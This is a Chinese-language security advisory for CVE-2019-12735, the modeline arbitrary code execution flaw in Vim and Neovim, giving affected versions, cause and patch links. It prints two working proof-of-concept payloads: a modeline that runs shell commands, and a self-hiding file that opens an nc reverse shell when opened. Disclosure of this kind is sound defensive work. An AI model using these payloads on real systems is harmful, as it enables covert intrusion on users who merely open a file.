Vim和Neovim任意代码实行漏洞安全通告

发布时间 2019-06-06

漏洞编号和级别


CVE编号:CVE-2019-12735,危险级别:高危,CVSS分值:8.6


受影响的版本


Vim < 8.1.1365

Neovim < 0.3.6


漏洞概述


Vim是一款功能强大、高度可定制的文本编辑器。由于Vim在代码补全、编译及方便编程等方面非常强大,因此在程序员中被广泛使用,成为类Unix系统用户最喜欢的文本编辑器之一。


文本编辑器Vim/Neovim存在严重漏洞,通过打开特别构造的文本文件,模式行选项未被禁用的话,就可导致Vim/Neovim任意代码实行漏洞。漏洞成因是模式行中仅允许选项子集,如果选项的值包含一个表达式,就可以在沙箱中运行。:source! 命令可绕过沙箱,它可以从既定文件中读取并实行命令,因此可以轻松构建在沙箱外允许运行代码的模式行。


漏洞验证


POC: https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md。


第一种:
测试版本如下:
 

1、创建poc.txt


:!uname -a&&whoami||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="


2、确保未禁用modeline选项(:set modeline)


使用如下命令查看命令位置


 
如下:
 

 



3、在vim中打开该txt


vim poc.txt
然后系统会实行 uname -a&&whoami

 


第二种,创建反弹shell


该PoC描述了一种真实的攻击方法,其中一旦用户打开文件就启动反弹shell。 为了隐藏攻击,文件将在打开时马上重写。 

此外,当使用cat打印内容时,PoC使用终端转义序列来隐藏命令行。(而使用cat -v可以显示实际内容。)


shell.txt:
\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n

 



修复建议



升级到Vim 8.1.1365、Neovim 0.3.6或以上版本,此外建议禁用模式行,使用securemodelines插件。


Vim补丁8.1.1365: 

https://github.com/vim/vim/commit/5357552


Neovim补丁(在v0.3.6中发布):
https://github.com/neovim/neovim/pull/10082

https://github.com/neovim/neovim/releases/tag/v0.3.6


参考链接


https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md